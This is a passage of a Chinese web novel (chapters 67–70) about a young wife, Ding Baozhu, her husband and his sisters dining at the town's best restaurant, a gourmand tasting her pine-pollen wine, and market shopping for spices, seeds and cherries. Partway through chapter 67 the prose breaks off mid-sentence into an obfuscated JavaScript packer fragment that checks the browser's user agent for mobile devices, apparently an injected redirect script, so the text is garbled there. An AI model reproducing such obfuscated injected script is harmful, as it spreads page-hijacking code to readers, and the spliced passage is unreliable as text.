如此想着,他就怀揣着一种欢欣的心情回去找丁宝珠汇合,可还没有完全到达,就见后者竟然在和其他摊贩聊得正欢,那副样子显得似乎没有自己,她一个人也是能够的。 徐晔忽然觉得心里又变得沉甸甸的,之前的愉悦似乎也一扫而光,不大舒服,就直接上前去拍了拍她。 只是没想到,丁宝珠不但给他留了吃喝,那态度都变好了——事出反常必有妖,也不知她又有什么鬼点子了。 可不管怎样,他对这些倒是蛮受用的。 丁宝珠听完徐晔说的过程,笑道: “卖出去得了那么多银子,这下就能去赶市了吧?” 徐晔瞥了她一眼,可瞧她那欢喜的神气,自己那冷脸却也摆不出来了,也跟着浅笑起来道: “可以,我们先去找爹和姨母,妹妹们估计已经买了不少东西了,你也能挑挑。” 但他说完,还不忘调侃道: “别说我了,我看你也赚了不少吧?所以这事也不需要问我,你自己去做就是了。” 丁宝珠嘿嘿一笑,虽说她赚得没有徐晔那么多,可别说是当下了,连前世里她都没有怎么赶集市玩乐过,所以这一次她一定要好好逛逛才行! 67. 下馆子 不知是不是徐家多次来过祥安镇赶市,徐晔清楚其他人会常去哪里买东西,所以带着丁宝珠走,不消一会儿就找到徐翊李银屏等人。 而这个时候,他们身后的筐子里已经放满了各色各样的物品,就连徐莹徐芝的筐子里也装上了不少货物,但两人都是不嫌累的,毕竟她们的手上还都拿着一根已经舔没了一半的糖人。 “爹,姨母!” 徐晔喊了一声,向着他们挥了挥手。 “大哥,大嫂!” 徐莹徐芝显然玩得很开心,听到声音就跟着挥起手来。 徐晔和丁宝珠到了那后,徐翊也笑道: “晔儿,晔儿媳妇,你们带的东西都卖完了?” 徐晔点点头道:“是的爹,都卖完了,这些钱你收下吧!” 他这是习惯性的举动,毕竟以往他和徐翊上街来时也帮忙卖过东西,最后得的钱也皆是交给了徐翊。但这一次后者却摆了摆手接着笑道: “晔儿,你如今成家了,有了钱还是自己留着吧,今后如何当这个家,你还要继续去学着做呢,明白么?” 徐晔怔了怔,默默地又把钱给收了回去,脸上感觉温温的。 李银屏瞧了他们两人一眼,也开口道: “是啊晔儿,这赚到的钱你得好好留着,以后只会有更多花销,可别哪天想用钱的时候却没了!” 丁宝珠听着这一番指桑骂槐,也当是没听见,这时候她怎么回答也是没用的,只怪这时候的媳妇着实没什么地位。 徐翊又说道: “咱们的东西都买的差不多了,你们一上午都忙着做生意,也没在集市里逛逛——你们是一起跟我们回家,还是再留在镇上玩玩?” 徐莹徐芝继续舔着糖人,抬着眼看着他们。徐晔和丁宝珠对视一眼,回答道: “我们说好了再去逛逛,看看有啥需要的去买。” “好。”徐翊点点头,“那你们去吧,我们就先回家了,买了那么多东西还要整理一通才行。晔儿媳妇,你那扁担空下来了吧,不如也给了我们,正好能带走。” 李银屏不忘嘱咐道: “记得早点回来,别在外面玩得太晚了。” 徐芝这时拉了拉她的衣袖,轻声道: “娘,我饿了……” 糖人是好吃,可是不顶饱,又忙活了几个时辰,小姑娘早就饿了——当然也是还不想那么早就回去的缘故。 李银屏攒眉道: “这不是要回去了么?又买了食材,回去就能烧饭吃了,那么猴急做啥,不能再等等?” 徐芝撇着嘴,她平常不是那么不乖的孩子,只是今天大抵真是累了。 丁宝珠这时说道: “爹,姨母,既然芝儿莹儿不想回去,就让她们再和我们呆一会儿吧,到时候我们一起回去,反正她们回去了也做不了什么。” 徐莹徐芝的眼里一亮,纷纷用几近崇拜且激动的目光看向她。 李银屏的眉头更加紧了:“这……” 徐翊倒是松口道: “这话倒也没错,莹儿芝儿好不容易才出来玩玩,一上午就回去了,那也亏了些,不如就让她们大哥大嫂再带去逛逛吧。” 李银屏还没说话,徐莹徐芝倒是默契地一同欢呼起来: “太好了!爹对我们最好了!谢谢爹!” 李银屏叹了口气,也只好同意了。丁宝珠交了自己的扁担,徐莹徐芝背的多余的东西就放在里面,再直接挑回去。 这下他们是又有闲又有钱,就都背了个空筐子,毕竟到时候若是真要买什么,那还是需要容器来存放的。 四人又逛了逛市集,临近午时,售卖日用品的摊贩有了一种行动缓和的趋势,看起来皆是有些怠惰了,但是各种对外售卖吃食的店铺和小摊子却再次迎来了新一波的流量,游人变得接踵而至起来。 丁宝珠四处瞧了瞧,便提议道: “徐晔,我们找家店先吃饭吧?说实话,我也有点饿了。” 忙了好几个时辰,徐晔何尝不感到肚饿,只是他向来对吃食不那么看重,也就是最近越来越习惯丁宝珠做的吃食而已。再加上两个妹妹也是饿了,就点头道: “好,你们想吃啥?” 徐莹抢着徐芝说道: “吃啥都可以,能填饱肚子就行了。” 村里孩子没那么金贵,有些更是穷养着的,每天能吃饱就是万幸,也是最高兴的事情,所以即使来了镇上,懂事的孩子也不会多要求什么。 可丁宝珠听了,却转了转眼珠,贼笑了笑,指着一个方向笑道: “那我们今天就去那里吃吧!” 徐晔顺势看去,脸色一变,原来丁宝珠指着的正是镇上的第一高楼——客满楼,此时还能远远见到三楼靠窗的位置已经坐下了不少客人。 “你……你要去那里吃?” 徐晔迟疑地问道,徐莹徐芝更是瞪大了眼睛满是惊讶。毕竟祥安镇的客满楼在方圆几里内已经是经营得不错的酒楼了,而对于他们这些村里孩子来说,那更是高不可攀的存在,她们本以为就去哪个摊子里吃吃就算好了,却没想到她们这个大嫂,一选就是最好的! 可她们并没有开口,特别是反驳,毕竟到底来说她们依然有想去的念头。 这要是去过一次,以后在村里其他孩子面前还不知多有派头呢! 丁宝珠笑道: “咱今天通过努力挣了那么多钱,还不能下个馆子了?再说我们也不是天天去,就是今天高兴才去一次的,好不好?” 徐晔见丁宝珠眨巴着眼看向自己,一时间嘴里拒绝的话语也讲不出了。况且这家客满楼已是开张了数年,他自己小时就常常从外人口中听说过,自然偶尔多出一份向往来,后来又有时和徐翊带着猎物去那里,也只有做买卖,而一直没有在那里吃过饭。 徐晔回看了眼笑眯眯的丁宝珠,又看了下直勾勾的徐莹徐芝,便咬咬牙道: “好吧,我们走!” 于是一行人就朝那客满楼而去。还好那栋楼看着远,走了没多久却也到了,门口有着不少或进或去的客人。 机灵的跑堂在门口招待,轮到丁宝珠他们,他似乎一眼就见到了前者,好像顿时起到了什么,立即凑上来笑道: “姑娘,原来是您来了?快请进!自从上次见面……哎呦,原来现在该称呼您为娘子了!” 姑娘头与妇髻还是很有区别的,所以那跑堂的在看清后连寒暄也顾不得,忙不迭先把称谓给改了。 而丁宝珠也是一眼就知道,这跑堂的就是当初为自己引荐的人,可以说若不是没有他,她那笔买卖也就做不成了,更不会与掌柜的有了一面之缘,便笑道: “我今天是过来吃饭的,有座位吗?我们一共四个人。” “有有有,不知娘子想要哪里位置的座位?” 跑堂的见有生意来,那当然是又只顾着生意了,之前也不过是多打了招呼罢了。就是这招呼,却使徐晔等人心里吃了一惊。 怎么这样看着,丁宝珠好像来过这里似的?——或者说简直就像下过不少馆子一样,要不是有她在,他们可不确定自己也能如她那般和跑堂的有说有笑。 难不成是他爹带她去的?徐晔想着,毕竟他宠爱丁宝珠不是个秘密,又能经常来到镇上,最重要的是,丁家的条件也是不错的。 徐晔念到这,不知为何莫名惝恍了一阵子,他突然有一种感觉——自己貌似与她并不是很般配,而且是自己和她对比之后,他只大肆听说过丁宝珠的脾气,却从来没有想到她在各方面都超出了自己的印象。这令他稍许感到失意。 丁宝珠听后笑道:“你这里生意兴隆,哪里有能够供我选择的?只要是能坐下的位置就是了,你带路。” 跑堂的有些不好意思,确实如同丁宝珠所言,今天开市,客人要比往常还多点,甚至还有提前过来预定的,普通人能坐下就已是不错了,又忙道: “好嘞,娘子请和我走,我带你们去座位那儿!” 室内是一套又一套的实木桌椅,地面上很干净,角落挂着没有点燃的灯笼,前方的柜台上摆放着一排封着红色布头的酒坛子,尤其还有一个经典的大肚款式的。 这其实也是丁宝珠头一次打量客满楼的内部,一楼的大堂没有她想象中的那么多人,也许是部分都上二楼三楼去了,而那里估摸着都是雅座,还可能有着包厢。 但室内仍旧是闹哄哄的,觥筹交错之间,混合在一块儿的饭菜香味和热气扑面而来,更是引得人饥肠辘辘起来。 跑堂的多行了会儿,带他们来到一处桌旁,那套桌椅恰好能够坐下四人。而这里也是个比较偏僻的地界,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实咱们倒是想吃,但要是被娘知道了,还不知会咋说话呢。” 看来就连她们也是十分清楚且无奈李银屏的那脾气的。 丁宝珠笑道: “别担心,我们进都进来,点都点好菜了,难道就走了不成?况且你们大哥今天赚了钱,这一顿还是能对付的,所以别担心,你们吃就是了,至于姨母那,还有你们大嫂顶着呢。” 徐莹徐芝:……是哦!她们这个大嫂可完全不怕她们娘亲的!心里也就放下来了,而且对丁宝珠的崇拜程度似乎又上了一个台阶。 徐晔见丁宝珠笑盈盈的样子,突然觉得好不容易才下趟馆子,自己何必要莫名置气,便鲜少地主动问道: “你……你来过这里吃过饭吗?” 丁宝珠瞥了他一眼,却没有直接回答,而是用打趣的口吻道: “原来你从刚才起就摆着张臭脸,是一直在想这个?” 徐晔愣然道:“我、我这样了吗?” 徐芝捂着嘴笑道: “大哥,我和姐姐反正是习惯你那样了,估计大嫂还没熟悉呢,那外人就更不熟悉了,咱也不敢提!” 不过她们依然明白,自家大哥其实是个好人。 徐晔脸上泛出了些微淡红,须臾才咕哝一句:“哪有……” 丁宝珠看他这副模样,不知为何感到少许可爱,她定了定神,便回到话题解释了一番。是自己以前过来卖羊肚菌,这才和这里的人有过一面之缘,不过要说来这吃饭,那还真是庄稼佬进皇城——头一遭。 只是她也没必要说自己前世不知去过多少饭店了,所以才会那么熟练。 可徐莹徐芝是不知晓的,眼里都亮起来了,夸着丁宝珠,倒让她有些赧然起来。 徐晔思索了片刻,问道: “那个……狼肚菜,是啥样的?下次我上山要是见到了,也能采回来。” 丁宝珠看他这样认真,也没泼冷水,就告诉他那羊肚菌的样子,还嘱咐他一定要用工具挖采,这样才能拥有完整的。 徐晔听得仔细,徐莹徐芝也懵懵懂懂地听着,而就在这时,那点的菜也开始逐渐上桌了。 68. 焖烧鸭子 “娘子,上菜咯!” 那跑堂的极其熟练地端着一个托盘过来了,先上的是那盘蒜蓉炒的茼蒿,碧绿的颜色,袅袅热气间还有一股扑鼻的蒜香,另外还有四碗同样是热腾腾的米饭。 村里人一般是不怎么吃白米的,所以即便是一碗米饭,对他们来说也属于是珍馐,三人的眼神看着那碗里的饭,眼睛都直了不少,就差没有直接开始扒饭了。 丁宝珠问道: “剩下的菜什么时候上?” 过去了这么一段时间,客满楼仿佛真的变成了宾客满楼,要比他们来时的客人更多了。跑堂的用颈上挂着的巾子擦了擦汗,赔笑道: “娘子,现在客人多,后厨忙得不行,但我们都是按照顺序来的,一定给您今早上!” 丁宝珠道了句辛苦,就让桌上的人动筷,至少他们就算是光吃那米饭也是能满足的。 徐莹道:“大哥,大嫂,这一顿是你们请的,你们先吃!” 丁宝珠笑道: “我们现在是一家子,不用那么客气,我和你大哥又不是不会自己动手,你们吃自己的就是了。” 徐莹听了,只好和徐芝埋头吃了起来,而握着筷子,果然先是吃着那不常有的白米。丁宝珠便与徐晔说: “我们也吃吧!肯定饿了。” 徐晔点点头,就也端起碗吃。不得不说这下馆子就是和在家吃不同,也说不上来究竟是哪里不一样,但那菜的味道似乎就是多了什么。 像是这盘茼蒿,简单用蒜蓉和盐调了味,但是叶子炒得嫩嫩的,那杆子嚼着却脆脆的,油光水亮,一看就是经验深厚的厨子了。 丁宝珠一边吃一边想着,可她这幅沉思的样子却被细心的徐莹看了去,连忙道: “要我说,咱大嫂的手艺也是不错的,这菜也不是没做过。” 她说完,又碰了碰坐在自己旁边的徐芝。徐芝正吃得津津有味的,被这么一提醒,也下意识地点点头,这回真像是小鸡啄米地口齿不清地说道: “嗯嗯嗯!大嫂的手艺当然是我们家里最好的了!” 她说完,也晃着桌下的小短腿往边上踢了一脚,正是徐晔的腿。 而徐晔坐在了丁宝珠的对面,被这么一踢,倒也从碗里抬起头了,只是他两旁望了望,一时啥也说不出,嘴里也装着米饭。 徐莹心里暗暗叹了口气,怪不得爹老是提醒他呢! 丁宝珠看着这一幕简直是哭笑不得,她仅是在想着菜而已,哪里扯到这去了?便笑道: “人家酒楼里是什么师傅?我自然是比不过的,不过嘛……我倒是能取取经,咱们还是快吃吧!” 而没过多久,其余的菜也上来了,一大碗色彩丰富的鸭血豆腐羹,还有一盘异香袭人的焖烧鸭子——鸭子是时令食材,就连她三叔丁绍都养好了一批拿去卖了,酒楼里的人也肯定有过来吃的,所以一定少不了,并且会格外新鲜。 红白相间的鸭血豆腐羹中还点缀着细细的木耳和黄花菜,丁宝珠用勺子舀了一勺,吹气后吃了,配着那点睛之笔的薄芡,只觉得香滑可口,除开那油盐醋,她甚至还尝出了一丝椒粉的味道,以及撒在上面的葱花和芫荽末,更是勾出了一股独特的气息来。 这种汤羹,最适合撒上一层香料来增味添香,而丁宝珠会选择胡椒粉,但这种调味料,估计连这里也是没有的,所以用的应该是能常见的椒粉,这种提供辣味的调料,就与丁宝珠一开始做的芥辣差不多。 而那道焖烧鸭子是最晚上来的,可要做大荤,没点时间还真不行。丁宝珠夹了块鸭肉吃,鸭肉已经被焖得十分酥软,丝毫不柴,貌似连骨头都能嚼了咽下。并且特别咸香入味,但丁宝珠尝着,大抵是简单用酱调味的,里面还用了香菇来做佐菜。 看来这客满楼的生意好,也不完全是因为四周只有这一家酒楼,不过一家酒楼若是连最基本的手艺也没有,那也开不了这么多年。 品尝过后,丁宝珠也低头扒饭,这几道可以说皆是下饭菜,更不用说他们几个平日里都是饭量大的。 可是在家里那粗粮能多吃点,在外面反而矜持了些。徐莹意犹未尽地擦擦嘴,看到桌上剩下的菜,问道: “大哥,大嫂,我们要不要把菜带回去些?也能给爹娘还有黑虎吃!” 丁宝珠玩笑道:“你就不怕带回去了,你娘会啰嗦起来?” “这个……”徐莹的脸色变得少许纠结,她也是不大爱听李银屏唠叨的。 徐晔这时吭了吭嗓,一本正经地说道: “爹和姨母必不会饿着自己,我们先吃饱就是了。” 丁宝珠斜着眼,又笑着问: “我还以为你也要顾着爹和姨母呢!” 徐晔嘴里叼着一根似是鸭腿骨的骨头,嘟囔道: “反正这回都是我自己赚的钱,爹也说了我可以自己分配,都来下馆子了,莫非连吃饱都不行?” 丁宝珠看他这模样莫名有几分豪爽的气派,真应该身前再放上几碗酒,那就更像了——可惜他偏偏是滴酒就醉了。 “你这么讲,那我们就放心咯。”丁宝珠偷笑着,又对徐莹徐芝道,“莹儿芝儿,我们别管那么多,继续吃吧,一会儿还是你们大哥买单呢!” 徐晔听她这么说,突然就反上了一点心虚——毕竟他自己也没下过馆子,所以压根不清楚会有多少花销。 ……啧,话说大了! 而四人风卷残云地吃完了一桌菜后,这才满足地揉了揉自己的肚子,要不怎么说人们都爱去外头吃喝呢,不说味道,就是那心情也是有极大的不同的! 而在此刻,那跑堂的也恰巧服侍好了一桌客人,一见丁宝珠他们这样,就知道是吃好了,便笑脸相迎上前问道: “娘子感觉如何?” 丁宝珠笑着回答道: “客满楼不愧是镇上最好的酒楼,我这回才是开了眼界了。” “哎呦,可别这么讲,人外有人天外有天,我们哪有这么厉害!但这回娘子满意就是最好的了。娘子您不知道,上回您带来的那狼肚菜,让我们掌柜的赚了不少呢,要不是他现在忙着招呼楼上的客人,也得过来见你一面才对!” 看来这羊肚菌在这里是真真儿稀有的,按当时掌柜的所言,好像还是贡品来着?丁宝珠不 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结果在酒楼吃了一餐,竟然就要百文钱?真是不来不知道,一来吓一跳,如果说以前她们还曾经遐想过,现在是再也不会去想了。 丁宝珠朝着徐晔挑了挑眉,徐晔顿了顿,就从荷包里取了一钱银子并其余的铜钱出来,交给了跑堂。 卖蛇油的时候,他特意让摊贩给秤了碎银子,就是为了好花费。这种人多的市集里,他可不敢带着好几串铜钱转悠,那不是在招摇过市么? 跑堂的收过钱,笑道: “好咧,娘子你们慢走,下次再来啊!——” 吃过饭,四人一起走出了客满楼,而这个时候的阳光愈加耀眼了,还把那楼中间的匾额给照得金光璀璨,显得非常神气。 丁宝珠眯了眯眼,又见徐晔、徐莹和徐芝绷着一张脸不言语,笑着对前者问道: “怎么,现在感到心疼了?” “……倒也不是。”徐晔回味着方才的饭菜味,他认为自己接下来几日大概都会随时随地想起来这顿饭的。“就是有点……唔,我也说不上来,感觉银钱花出去可真是容易啊!” 徐莹徐芝反差地一脸深沉地跟着点点头认同。 丁宝珠抬手攥拳坚定说道: “所以我们才要努力,等挣多了钱,以后就能天天下馆子,天天能吃那么多好吃的了!” 但徐晔却不太相信地睨了她一眼,摆摆手道: “行了,今天是例外,反正我们今后也肯定不会再来了,你还是收收心比较好。” 或许是他不相信丁宝珠能把她那小生意做得特别大,到最后也依旧是个摊子——到底来说,摆摊几天就能赚出今日这一顿饭钱,那就已经很不错了,要是还能攒下钱,等过了禁猎期,他和爹爹也能更安心地去山上打猎。 丁宝珠嘁了一声,却也没有多说,毕竟这时说什么都是没用的,事实和结果才是关键。 “好了,既然吃饱了,我们去逛市吧!” “好啊!——” 徐莹徐芝立刻来了兴致,蹦蹦跳跳地就和丁宝珠走了,而后面的徐晔看了眼,无奈地摇摇头,一边想着回家该怎么解释,一边到底是跟上去了。 69. 老饕 而如果说客满楼的二楼是位置较好的雅座,那三楼就是只能对贵客开放的地方了,甚至还需要预约才能入座。 窗边微风阵阵,带动着窗沿处挂着的帘角也轻轻摆动起来。坐着的某人手执一个青瓷酒杯,里面的水液潋滟,更是有一抹浅浅的异色,而那鼻尖能够嗅到的味道,乍一闻像是不重的药材味,细细闻后,才发现是松木的清香。 而这三楼实际上也不止有他一位客人,但作为多出来的三楼的雅座,这里显然要比楼下更为宁静,最适合吃喝谈事,就连那饭菜的香味,也仿佛多了一层没有那么多烟火气息的雅致。 宋昌易一步步上楼来,对着这里的客人摆出一副笑脸,边走边道: “各位今日可还对小店里满意?” “这还用说,你店里的东西自然是好的。”其中一个食客比了比筷尖儿说道。 另一个食客问道: “宋掌柜,您那儿什么时候能再有那狼肚菜?上次总共就巴掌大那么一点,我就没赶上,全给他们尝了,我连口汤都没喝到呢!” 宋昌易刚想开口,却有另一个似乎就是那尝过狼肚菜的食客不悦道: “谁让你最后才得的消息,那狼肚菜,宋掌柜也是难得才收到了那么一点儿好不好?那叫先到先得!” 他说着,不由得又露出了一丝余味无穷的神情,啧啧称叹道: “不过讲真的,那狼肚菜真不愧被奉为天下第一菌,那汤的滋味……啧啧,我到现在还记忆犹新呐!” 原先那人显得更是生着闷气了,宋昌易这才打着圆场道: “好了好了各位,稍安勿躁。只是那狼肚菜嘛,当初还是一位农家姐儿采了找过来卖的,也是我店运气好,才有了那么一份,我可是立刻就想着各位老板你们了!但之后就再也没见着有人来卖,我自然也是没地方收,况且那狼肚菜原本就珍稀,别说是你们,我都想再见一见呢,可什么时候才能见到,那就要想着何时才有那般好运了!” 其实这件事他已经讲了不止一遍,但为了这群天天动不动就为了吃食而喧闹的老饕,他仍是说了又说。 不过这些人都是宋昌易的熟人,也大多是祥安镇上的人,特别是某店某庄某行的老板,当然就有钱有闲来关注吃食上了。 不得不说,宋昌易还是很感激那个只有一面之缘的姑娘的,要不是有她那些狼肚菜,他也不可能再次收了份小名小利——只是听闻她今日竟然到店来吃饭,他考虑了会儿,也只是嘱咐好好招待,依然是上了楼。 唯有一人是今儿刚来的,可以说宋昌易除开这群熟客,就是为了这人了,而那人此时也正是在小酌的姿势。 那些熟客也仅是照旧抱怨了几句,最后却和宋昌易一起望向了那里,那离得最近的人隐隐约约嗅到了一阵酒香,不禁问道: “哎呦,这是什么味道?好生清雅!” 那人这才回过头来,浅笑了笑,道: “方才我在市里买的酒——来这地吃饭,怎能不配酒?不过我一人也喝不完这么多,大家也来尝尝吧!” 宋昌易听后,脸上稍许有些挂不住。客满楼里也是售卖酒水的,能让他自带进来已是退了一步,却没想到他还想着分给其他人? 然而那些老饕除了吃食,自然也对新奇的酒水感兴趣,一壁攀谈着就纷纷去讨了酒来喝。 貌似有一人识货,只呷了口便道: “哟,这不是松花酒么?而且还是新酿得的,当真是入口丝滑,松香深沉啊!” 众人不禁也跟着称赞,那送酒的人便看着得意起来,展开折扇扇起了风。 宋昌易略微不满道: “柳先生,我请您来,可不是让您推销您带来的酒的。” 那被称为先生的柳郎君其实并不比宋昌易年长,他眯眼笑道: “宋掌柜,这个理儿我是懂的,不过这可不是我自带的酒,而是从市里买来的,今天人多,未免不会淘到宝贝,你也先尝尝这味道如何,何况你们店里也没有这松花酒吧?” 此话一出,宋昌易就有些不服气了。虽说客满楼中的确没有松花酒,可也有数种酒类,难道还比不上这坛子里的酒了? 然而他喝了一杯,却不自主怔了怔,这酒的味道,可不是没经验的酿酒人能酿出来的,就连他家沽酒,请的都是经验丰厚的老师傅呢。 “怎样?” 那柳郎君看着更得意了,下一秒收了折扇,说道: “好酒配好菜,其实贵店呈上的菜肴,我也是尝过了的,特别是中间这道蒸麻鸭,怕是费了不少精力吧?说不定还是特意为了我而做的,我又怎能不明白掌柜的心意呢?” “这道蒸麻鸭,最重要的就是不加一滴水就上锅,只简单地佐以菌茸、火腿与料酒,蒸得整只鸭子全部酥烂脱骨,那蒸汽也就在鸭中逐渐形成了鸭汤,同时也消除了鸭子的腥气臊味,除了鲜味就不剩别的了!” 宋昌易的脸色好看了些,坐着桌对面笑道: “不愧是柳先生,尝了一口就能说出所有的门道。那麻鸭我可是亲自挑选的,在你登门之前,这鸭就在锅里蒸着了,保证鲜美十足!” 这时节适合吃鸭子不假,但此时仿佛连鸭子也分了三六九等似的,这么一道蒸麻鸭,已经完全抵得过丁宝珠那一顿的饭钱,甚至要更昂贵。 柳郎君笑道: “这道蒸鸭确实不错,唯一美中不足的,就是那鸭里的佐配,还是用新鲜的松茸最佳——不过这也无伤大雅,如今周围又只有你这一家酒楼,将来一定是生意兴隆。” 宋昌易笑道:“那就借柳先生吉言了,我们多喝一盅?” 原来这柳郎君名叔恒,据说也是生在一个大富商贾之家,便没有书香门第那样墨守成规,只是他好好的生意放着不做,却偏偏喜好贪玩享乐,尤其是在吃喝这方面上。 这吃喝得多了,慢慢也有了些自己的窍门,甚至还专门出了本记载着各地酒楼食肆排名的书册,后来不仅书册大卖,连里面出现的店铺也变得座无虚席热闹非凡。久而久之,就成了那柳叔恒到了哪家店楼,那家店就一定可以生意大火的传闻,所以有些店还巴不得能请他来坐坐。 只是他喜欢游山玩水的,行踪不定,顶多 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宋昌易蹙眉道: “就是不知那汽水是何物,水是清楚,那汽又从何而来?况且现在卖此物的人又离开了,估计也是为了这次开市才来的,还不知以后会不会再来呢?” 柳叔恒往窗外瞟了一眼,却莞尔道: “这可不一定,保不齐那人……还在呢。” “哦?”宋昌易连忙问道,“柳先生这是有什么见解吗?” “见解倒是算不上,不过嘛……”柳叔恒努了努嘴儿,又道,“你瞧瞧,就是那娘子,我这坛松花酒也是在她那买的呢!” 宋昌易忙望过去,他这个酒楼虽是有三层,可到底来说也不算太高,还是能见到在楼下出出进进的人们,这其中果然有一男一女,带着两个女孩往楼外而去的。 宋昌易感到些微眼熟,想了半晌才恍然大悟——这不是那个卖狼肚菜的姑娘吗?没想到有段时日不见,竟也嫁人了。 只是嫁了人后,没想到还出来做买卖了? 宋昌易想到这,赶紧与柳叔恒讲了那事,后者听话点点头道: “那是不错,而且她一定是有点见识的。否则先不说竟认识那狼肚菜,最后既没有进了自己的肚子,还过来找你这大老板卖了换钱,据说那狼肚菜采下来后是毫发未损?我倒是不缺,却明白想要完整采下,不细心和没经验都是不行的。” 一番话说得宋昌易倏忽有点后悔——他刚刚就应该去楼下和那娘子见一面的,起码也是打个照面,以后要是真的有什么事了,不也好走动? 不知为何,他心里总有一种她能够做大的感觉,明明在目前看来,也不过是个稍有见识的村妇罢了。 柳叔恒见状,笑而不语地接着喝酒,三分酒意下,他倒是对那娘子更有兴趣了——当然是在她售卖的吃食上。 若是她下回还来这里做生意,那他可就要再尝尝其他的了,看来他还能在这里驻留一段日子。 70. 樱笋时 且说丁宝珠徐晔带着徐莹徐芝重新来到市集街道上逛,大部分卖吃食生意的铺子依旧火爆,但显然在午后的时辰里,这市里同样是热火朝天。 徐翊与李银屏在这里买了粮食和食物,似乎还有一些干货和粗布,所以在日用方面他们都是买全了的,也就不用丁宝珠他们心里惦着了,可以说他们只要再买点自己想买的东西就行,前提是带回去不怕被啰嗦。 而丁宝珠逛了一道,也确实如李银屏所讲,这时候往外售卖的货物,竟真是要比以往平常里卖得便宜些了。 这还等什么?她马上买了自己想要的做吃食的各种材料,不过这回她就没让徐晔付钱了,而是用这次她自己赚的钱支付——多亏了那一坛子松花酒和松针汽水了。 她现在也能买些细致的调味料了,除开那油盐酱醋酒,她又发现了两种新的调料——蜜与椒。 那蜜瞧上去竟然是一块儿又一块儿大小不一的蜂巢,看着不像是养殖的,徐晔多瞅了几眼,便小声道: “估摸着是去山上抓的野蜂蜜。” “这是野生的?”丁宝珠想着缩了缩肩,“这要是被蜜蜂群攻了,那不得整个人都肿了?” 徐晔瞥了她一眼,便道: “你也不问问这野蜂蜜能买多少钱,就为了这个,被蛰死了也愿意!” 这倒也是。丁宝珠想着。她已经问过价钱了,却没想到后世几乎人人都能吃上的蜂蜜,在这里却是十分珍贵,那一斤的价钱都能赶上她手里的那所有的调料了,好在蜂蜜做调味的情况少,遂作罢。 “瞧一瞧看一看咯,新鲜的花椒,又好又便宜!” 就在这时,远处传来了一阵吆喝声吸引了丁宝珠过去,其实她之前就在这里见过有卖花椒的,可惜那时觉得没啥用处,手头更是没钱,所以压根没有看上几眼,可如今她已经在做吃食卖了,这味道上不下点功夫可不行。 那摊贩见有客人来了,笑盈盈道: “娘子,瞧瞧我这花椒吧,都是蜀地产的,那质量是没得说!您看看这果皮,这油光,这香气,您买了绝对不吃亏!” 丁宝珠挑了一小把闻了闻,只觉得那幽幽的香气里夹杂着一股热乎乎麻酥酥的气息,便笑道: “你这怎么卖的?” 那摊贩报了价钱,可能是怕丁宝珠之后走了,又主动提到要给优惠,毕竟这里的人还是不怎么吃椒的,能够买下的恐怕也只有那有了规模的铺子和食肆,所以无论如何也不想失了这客人。 丁宝珠心里忖度了番,觉得这价格尚可,怎么着也比自己第一次过来时便宜不少了,便问: “这些花椒,你能不能帮我磨成椒粉?这样我还能多买一些。” 那摊贩貌似是头一回听见有客人是这么问的,冷不丁怔愣了下,但听丁宝珠说可以多买,沉吟片刻才问道: “若娘子说的是真的,那我就帮你磨一下,不知娘子要买多少?” 丁宝珠听后,就用油纸装了,先让摊贩去磨粉,自己还交了一笔定金,约好了之后再来取,就离开了这里。 徐晔对此像是睁一只眼闭一只眼了,他知道这东西一定是用于她做的吃食上的,只是在吃多了她做的饭食后,他倒是有点期待她又会做出什么新奇的吃食来,况且花的也是她自己赚的。 走了不久,丁宝珠又见着了一排鱼行,空中尽是那浓郁的鱼腥味,她偏头打量打量,问道: “徐晔,我们买条鱼吧?就算现在不吃,也能暂时养着,等什么时候想吃了再吃。” 徐晔叹了口气道:“你拿主意就行了。” 他说着,抬手提了提背后筐子的带子,现在里面已经有不少物品在了。 “是是是,你就负责背着东西。” 丁宝珠捂着嘴笑道,去某个摊子上买了条鲤鱼,这个时节还是这种鱼最物美价廉。 而不出声的徐莹徐芝见到这幕,也是一起偷笑起来。 从鱼行离去,好像很快就到了卖蔬果的地方,不过丁宝珠是不会在这里买菜的,但是到了最后,她却见到了一个贩卖种子的小摊,便问道: “徐晔,咱家地里现在咋样了?” 家里的田地丁宝珠一直没有下去种过,顶多在最初去给父子俩送饭时看过大概,之后也不是天天去送饭,只知道哪天里面有农作物成熟了的程度。 “还是有些菜是可以收了的,特别是那大头菜,再过些日子就成了。”徐晔熟稔地回答道,又反问道,“咋,你莫不是又有啥别的主意了?” 丁宝珠嘿嘿笑了声:“刚刚看到一个种子,感觉可以种种看,等种出来了,绝对能做好吃的。” 徐晔无奈道:“……你整天就想着你那吃食了吧?” “俗话说得好,民以食为天,我一个小老百姓,不关心吃食还能关心什么?”丁宝珠耸了耸肩,“那我就买咯,先种种看。” “行吧……反正你要是种的不多,倒是还有点土地能够用。” 徐晔答应下来,看样子,丁宝珠也不会用太多的土地来种农作物,就当她是玩玩好了。 于是丁宝珠就买了点她已经看上的薄荷种子——但在这里是被称为勃荷草的。 而就在这时,徐芝拉了拉徐晔的衣襟,指着某个摊子轻声道: “大哥,芝儿想吃那个。” 徐晔循声望去,原来是一个卖樱桃的摊子,几个竹筐里装着半满的果子,远远看去红红一片,引人食指大动。 算算日子,现在正是第一批樱桃上市的时候,今后还会有更多的新果子,但这樱桃总是最早出的。今天又是开市,想必许多人都买了这樱桃尝鲜了。 徐莹见了,也有些眼馋,往昔可没什么机会能买来吃。丁宝珠收拾着筐内的物品,也不禁去瞧了几眼。 只是凑近了看,才发现那樱桃是良莠不齐,有的倒是红通通的,可有的却是有黄有绿,像是没熟一样,也能从这样子感觉到那是个啥味道——并且后者居多。 可想着这樱桃贵为春果第一枝,那种宛如红玛瑙般璀璨的样子肯定不是让他们这些平民去品的,所以剩下的也只有这些了。 丁宝珠想到这,她念着这事儿的模样却被徐晔看在了眼里,便朝着那摊贩道: “来一斤尝尝。” 那摊贩应了,又忙不迭去装。丁宝珠这才回过神来,向着徐晔疑惑地霎了霎眼。 徐晔把脑袋一撇,说道: “你别多想,是买给莹儿芝儿吃的,不过你要是也想吃的话……到时候自己去拿。” ……这不是此地无银么? 连徐莹徐芝也陷入了一场无语之中,她们这大哥,不摆明了就是想买给大嫂吃嘛! 